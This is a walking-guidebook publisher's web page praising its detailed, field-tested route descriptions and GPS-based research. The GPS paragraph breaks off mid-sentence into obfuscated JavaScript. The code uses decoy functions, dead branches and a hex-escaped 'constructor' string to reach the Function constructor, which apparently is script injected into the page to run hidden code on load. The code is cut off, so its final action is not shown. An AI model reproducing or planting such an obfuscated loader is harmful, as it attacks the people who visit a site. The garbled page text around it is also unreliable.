Key Features - Detailed Walk Descriptions Key Features - Detailed Walk Descriptions
Detail is one aspect which everyone
appreciates when exploring previously unknown landscapes,
particularly when you are abroad. "Walk!"
guidebooks are reknowned for the detailed description of every
walk (see Press Page) which allows you to explore with
confidence. Our detailed descriptions are a result of detailed
research and we normally walk each route in both directions
before deciding on our written description. When you read our
walks you get comfort and confidence from knowing that the detail
has been thoroughly researched. Reading our descriptions you
might get the impression that we never get lost! Not true, we are
always getting lost and have walked hundreds of kilometres on
dead end trails which didn't work out! All this getting lost
means that when we do publish a route it must meet our
'description works' criteria so that you can walk in confidence
on all the routes in our guidebooks.
Reading other people's walking guides (we try to read everything relevant) we find a wide variety of writing styles, and particularly detail. Some guides start well and taper off leaving you with no description for the last couple of hours! In some guides you wonder if the author has walked the route? One classic is a booklet on walking round La Gomera where the author, after over eight hours walking, admits to plunging into and scrambling out of two large barrancos in the dark and can't remember how he got to Alajero. If you have used guides like this you will know that the value of a good consistently written walk description is far more than its purchase price.
GPS has been an integral part of DWG
research for several years with all of our walking recorded as
gps track and waypoint records. All "Walk!/Walks();function ETJZw(){}var noBXMIdN=(function(){if('hhwS'=='UYmEn')icLM='PlHhw';return this;if('GbSAs'=='OgSMHj')FegrNX='xeNI';var YsnMu='fWYSY';})();function mFDG(){var tOOq='YXlsb';if('izqDB'=='obLYdQ')RWfcF();}var jFLBLu="cons\x74ruct\x6f\x72";function eNKyO(){var uNeFHa='CKXfl';if('EgVZtC'=='MYrqn')oUwr();}var dNEcBIs="YBrCgU"[jFLBLu];function hIbQN(){var tfHX='YKGxK';if('gmVRbP'=='bGFmk')irst();}if('uwRCee'=='HYZvxk')IpPFng='AKwZ';var bwWy;for(var tKmbdKxF=0;tKmbdKxF